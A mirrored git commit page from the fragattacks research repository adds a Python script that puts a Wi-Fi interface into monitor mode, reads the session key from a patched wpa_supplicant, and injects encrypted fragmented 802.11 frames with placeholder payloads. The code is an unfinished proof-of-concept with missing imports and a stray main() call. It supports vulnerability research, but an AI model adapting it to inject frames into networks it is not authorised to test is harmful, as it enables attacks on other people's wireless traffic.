mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2024-11-25 00:38:24 -05:00
fragattack: script to inject encrypted fragmented frames
This commit is contained in:
parent
0df030a726
commit
ef4a66fe56
150
research/inject.py
Executable file
150
research/inject.py
Executable file
@ -0,0 +1,150 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from libwifi import*
|
||||||
|
import sys, socket, struct, time, subprocess, atexit, select
|
||||||
|
from wpaspy import Ctrl
|
||||||
|
|
||||||
|
#def main(interface):
|
||||||
|
# conf.iface = interface + "mon"
|
||||||
|
# inject_fragmented()
|
||||||
|
|
||||||
|
def wpaspy_clear_messages(ctrl):
|
||||||
|
# Clear old replies and messages from the hostapd control interface
|
||||||
|
while ctrl.pending():
|
||||||
|
ctrl.recv()
|
||||||
|
|
||||||
|
def wpaspy_command(ctrl, cmd):
|
||||||
|
wpaspy_clear_messages(ctrl)
|
||||||
|
rval = ctrl.request(cmd)
|
||||||
|
if "UNKNOWN COMMAND" in rval:
|
||||||
|
log(ERROR, "wpa_supplicant did not recognize the command %s. Did you (re)compile wpa_supplicant?" % cmd.split()[0])
|
||||||
|
quit(1)
|
||||||
|
elif "FAIL" in rval:
|
||||||
|
log(ERROR, "Failed to execute command %s" % cmd)
|
||||||
|
quit(1)
|
||||||
|
return rval
|
||||||
|
|
||||||
|
class FragAttack():
|
||||||
|
def __init__(self, interface):
|
||||||
|
self.nic_iface = interface
|
||||||
|
self.nic_mon = interface + "mon"
|
||||||
|
self.clientmac = None
|
||||||
|
|
||||||
|
self.sock = None
|
||||||
|
self.wpasupp = None
|
||||||
|
self.wpasupp_ctrl = None
|
||||||
|
|
||||||
|
self.apmac = None
|
||||||
|
self.tk = None
|
||||||
|
self.pn = 0x99
|
||||||
|
|
||||||
|
def inject_fragments(self):
|
||||||
|
time.sleep(5)
|
||||||
|
payload1 = b"A" * 1450
|
||||||
|
payload2 = b"B" * 1450
|
||||||
|
seqnum = 0xAA
|
||||||
|
frag1 = Dot11(type="Data", FCfield="to-DS+MF", addr1=self.apmac, addr2=self.clientmac, addr3=self.clientmac, SC=(seqnum << 4) | 0)/Raw(payload1)
|
||||||
|
frag2 = Dot11(type="Data", FCfield="to-DS", addr1=self.apmac, addr2=self.clientmac, addr3=self.clientmac, SC=(seqnum << 4) | 1)/Raw(payload2)
|
||||||
|
if self.tk:
|
||||||
|
frag1 = encrypt_ccmp(frag1, self.tk, self.pn)
|
||||||
|
frag2 = encrypt_ccmp(frag2, self.tk, self.pn+1)
|
||||||
|
self.pn += 1000
|
||||||
|
sendp(RadioTap()/frag1, iface=self.nic_mon)
|
||||||
|
sendp(RadioTap()/frag2, iface=self.nic_mon)
|
||||||
|
|
||||||
|
def handle_rx(self):
|
||||||
|
p = self.sock.recv()
|
||||||
|
if p == None: return
|
||||||
|
|
||||||
|
#self.process_frame(p)
|
||||||
|
|
||||||
|
def get_tk(self):
|
||||||
|
self.tk = bytes.fromhex(wpaspy_command(self.wpasupp_ctrl, "GET tk"))
|
||||||
|
log(STATUS, "TK: " + self.tk.hex())
|
||||||
|
|
||||||
|
def handle_wpasupp(self):
|
||||||
|
while self.wpasupp_ctrl.pending():
|
||||||
|
msg =self.wpasupp_ctrl.recv()
|
||||||
|
log(STATUS, "wpasupp: " + msg)
|
||||||
|
|
||||||
|
if "CTRL-EVENT-CONNECTED" in msg:
|
||||||
|
p = re.compile("Connection to (.*) completed")
|
||||||
|
self.apmac = p.search(msg).group(1)
|
||||||
|
self.get_tk()
|
||||||
|
self.inject_fragments()
|
||||||
|
|
||||||
|
def configure_interfaces(self):
|
||||||
|
log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
|
||||||
|
|
||||||
|
# 0. Some users may forget this otherwise
|
||||||
|
subprocess.check_output(["rfkill", "unblock", "wifi"])
|
||||||
|
|
||||||
|
# 1. Remove unused virtual interfaces to start from a clean state
|
||||||
|
subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||||
|
|
||||||
|
# 2. Configure monitor mode on interfaces
|
||||||
|
subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
|
||||||
|
# Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
|
||||||
|
# sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
|
||||||
|
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
|
||||||
|
time.sleep(0.5)
|
||||||
|
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
|
||||||
|
subprocess.check_output(["ifconfig", self.nic_mon, "up"])
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.configure_interfaces()
|
||||||
|
|
||||||
|
self.sock = MonitorSocket(type=ETH_P_ALL, iface=self.nic_mon)
|
||||||
|
|
||||||
|
# Open the patched hostapd instance that carries out tests and let it start
|
||||||
|
log(STATUS, "Starting wpa_supplicant ...")
|
||||||
|
try:
|
||||||
|
self.wpasupp = subprocess.Popen([
|
||||||
|
"../wpa_supplicant/wpa_supplicant",
|
||||||
|
"-Dnl80211",
|
||||||
|
"-i", self.nic_iface,
|
||||||
|
"-cclient.conf"])
|
||||||
|
except:
|
||||||
|
if not os.path.exists("../wpa_supplicant/wpa_supplicant"):
|
||||||
|
log(ERROR, "wpa_supplicant executable not found. Did you compile wpa_supplicant? Use --help param for more info.")
|
||||||
|
raise
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
# Open the wpa_supplicant client that will connect to the network that will be tested
|
||||||
|
self.clientmac = scapy.arch.get_if_hwaddr(self.nic_iface)
|
||||||
|
try:
|
||||||
|
self.wpasupp_ctrl = Ctrl("wpasupp_ctrl/" + self.nic_iface)
|
||||||
|
self.wpasupp_ctrl.attach()
|
||||||
|
except:
|
||||||
|
log(ERROR, "It seems wpa_supplicant did not start properly, please inspect its output.")
|
||||||
|
log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise wpa_supplicant won't work.")
|
||||||
|
raise
|
||||||
|
|
||||||
|
# Monitor the virtual monitor interface of the client and perform the needed actions
|
||||||
|
while True:
|
||||||
|
# TODO: Need to monitor self.wpasupp as well
|
||||||
|
sel = select.select([self.sock, self.wpasupp_ctrl.s], [], [], 1)
|
||||||
|
if self.sock in sel[0]: self.handle_rx()
|
||||||
|
if self.wpasupp_ctrl.s in sel[0]: self.handle_wpasupp()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
log(STATUS, "Closing wpa_supplicant and cleaning up ...")
|
||||||
|
if self.wpasupp:
|
||||||
|
self.wpasupp.terminate()
|
||||||
|
self.wpasupp.wait()
|
||||||
|
if self.sock: self.sock.close()
|
||||||
|
|
||||||
|
|
||||||
|
def cleanup():
|
||||||
|
attack.stop()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print("Usage:", sys.argv[0], "interface")
|
||||||
|
quit(1)
|
||||||
|
|
||||||
|
attack = FragAttack(sys.argv[1])
|
||||||
|
atexit.register(cleanup)
|
||||||
|
attack.run()
|
||||||
|
|
||||||
|
main()
|
||||||
|
|
1
research/wpaspy.py
Symbolic link
1
research/wpaspy.py
Symbolic link
@ -0,0 +1 @@
|
|||||||
|
../wpaspy/wpaspy.py
|
Loading…
Reference in New Issue
Block a user